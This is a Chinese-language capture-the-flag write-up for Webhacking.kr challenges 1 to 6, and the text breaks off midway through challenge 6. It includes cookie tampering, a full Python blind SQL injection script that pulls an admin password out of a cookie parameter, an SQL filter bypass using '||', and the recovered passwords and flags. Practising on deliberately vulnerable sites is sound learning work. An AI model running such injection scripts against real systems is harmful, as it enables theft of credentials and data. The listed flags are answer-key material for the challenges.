Webhacking.kr writeup
先附上题目的链接
challenge 1
第一个先看源码,
<a onclick=location.href='index.phps'>----- index.phps -----</a>
先有一个跳转,跟过去看看
又得到了一些源码,重点的如下:
<?
$password="????";
if(eregi("[^0-9,.]",$_COOKIE[user_lv])) $_COOKIE[user_lv]=1;
if($_COOKIE[user_lv]>=6) $_COOKIE[user_lv]=1;
if($_COOKIE[user_lv]>5) @solve();
echo("<br>level : $_COOKIE[user_lv]");
?>
这里很容易就看出把cookie
中的user_lv随便一个5-6之间的小树就可以了,所以直接抓包修改就行了
challenge 2
好吧这道题。。半知半解加上猜测勉强算是做出来。
回到正题。
点进去是这个样子
然后开始找线索,注意,该页的源码里面发现了很关键的东西
这就是那条龙对应的连接,点一下就进到了登录admin的界面
试了试没法儿注入,然后还发现了这里有个关键的东西:
又是要密码,试了试也没有可以注入的迹象,然后整个人都好了,看了题解之后(韩文题解,只能看懂图,爽翻。。。)
说是首页这里有问题
首页时
间注释掉了,然后通过抓包
试试这里有没有问题,把这里改成如下:
time=1460468419 and 1=1
发现时间变成了
那么再试试
time=1460468419 or 1=0
所以这里是存在盲注的,那么就可以尝试爆一点东西出来,
由于无法判断是什么数据库,自然也不好直接爆,顶多爆一下库名之类没什么卵用的东西。这里主要是猜想刚才那个admin界面的表对应是admin表,然后猜解他的password字段,
对应的python代码也比较简单,贴一贴吧
import requests
import re
db_length=-1
db_name=""
url = 'http://webhacking.kr/challenge/web/web-02/index.php'
r=requests.session()
def doinject(param):
header={
"Cookie":"time="+param+";PHPSESSID=58ltk3o56jd4ug007chbiorne3"}
result=r.get(url,headers=header)
content=result.content
#print content
if "09:00:01" in content:
return 1
return 0
def get_admin_pass():
global db_length
global db_name
for i in xrange(100):
param="1460468419 and if((select length(password) from admin)="+str(i)+",1,0)"
if doinject(param):
db_length=i
break
print db_length
for i in xrange(1,db_length+1):
start=48
end=122
while(start!=end):
#print str(start)+" : "+str(end)
if(end-start==1):
param="1460468419 and if(ascii(substr((select password from admin),"+str(i)+",1))="+str(start)+",1,0)"
if(doinject(param)):
end=start
else:
start=end
else:
mid=(start+end)/2
param="1460468419 and if(ascii(substr((select password from admin),"+str(i)+",1))>="+str(mid)+",1,0)"
if(doinject(param)):
start=mid
else:
end=mid
db_name+=chr(start)
print db_name
print db_name
get_admin_pass()
所以密码就是0nly_admin
。
那么用这个密码去登录admin页面,得到提示:
(尼玛啊,韩文提示你大爷的。。。。百度谷歌翻译一下把)
好歹告诉了一个什么密码还是什么的东西吧。试了试不是board处的密码。
好吧,到这里就怼不动了,看看题解,发现莫名其妙的脑洞第二个表名
已跪好吧!
有了第二个表名,又来猜密码,代码都不用变,直接把表名换成FreeB0aRd
就可以了,真是烦,浪费我这么多时间,结果是个脑洞。
所以board
处的密码就是7598522ae
。
输入之后出现个链接,给了个zip,__AdMiN__FiL2.zip
,打开,是一个html文件
好吧,这个是有解压密码的,突然想到刚才在admin界面拿到的提示还没有用,那个密码@dM1n__nnanual
,输入进去果然成功解压了!打开html文件
卧槽卧槽,终于出来了
所以flag就是这个了,HacKed_by_n0b0dY
,好吧这道题我已经报警了,浪费了我整整快一天时间了。。。结果就尼玛脑洞过来的(好吧,可能是因为看不懂韩文,没有找到hint的位置吧)
然后去提交就行了。
challenge 3
打开就是这样一个网页
然后简单看看,只有右下角的5*5格子可以操作,看看源码也并没有什么有价值的东西
然后观察格子,最后猜测,就是每一行或每一列对应的就是我们应该画上的黑格子的数量,比如一个3,我们就要画三个连续的黑格子,比如111,我们就要画三个间隔的黑格子,所以试了试之后,如下:
出现一个输入框,先抓包看看,也没有什么异样,尝试注入,发现answer字段这里有注入的迹象
试了试之后,发现像是'
,or
,#
等等都被过滤了,最后成功的payload就是这个
用||
代替or
,所以根据返回来看,答案就是new_sql_injection
这个了
challenge 4
一看先是个base64解码,然后又是sha1解密,接着还是sha1解密
比较简单,最后答案就是test
不做赘述
challenge 5
这道题应该是比较简单的了,我觉得明明应该是对的但还是出不来,浪费了不少时间,这里先不写,回头再来补把。
challenge 6
看源码,一堆替换,第一部分php代码就是当我们没有设定cookie的时候它会自动生成,这部分不用管。重点是第二部分,
$decode_id=$_COOKIE[user];
$decode_pw=$_COOKIE[password];
$decode_id=str_replace("!","1",$decode_id);
$decode_id=str_replace("@","2",$decode_id);
$decode_id=str_replace("$","3",$decode_id);
$decode_id=str_replace("^","4",$decode_id);
$decode_id=str_replace("&","5",$decode_id);
$decode_id=str_replace("*","6",$decode_id);
$decode_id=str_replace("(","7",$decode_id);
$decode_id=str_replace(")","8",$decode_id);
$decode_pw=str_replace(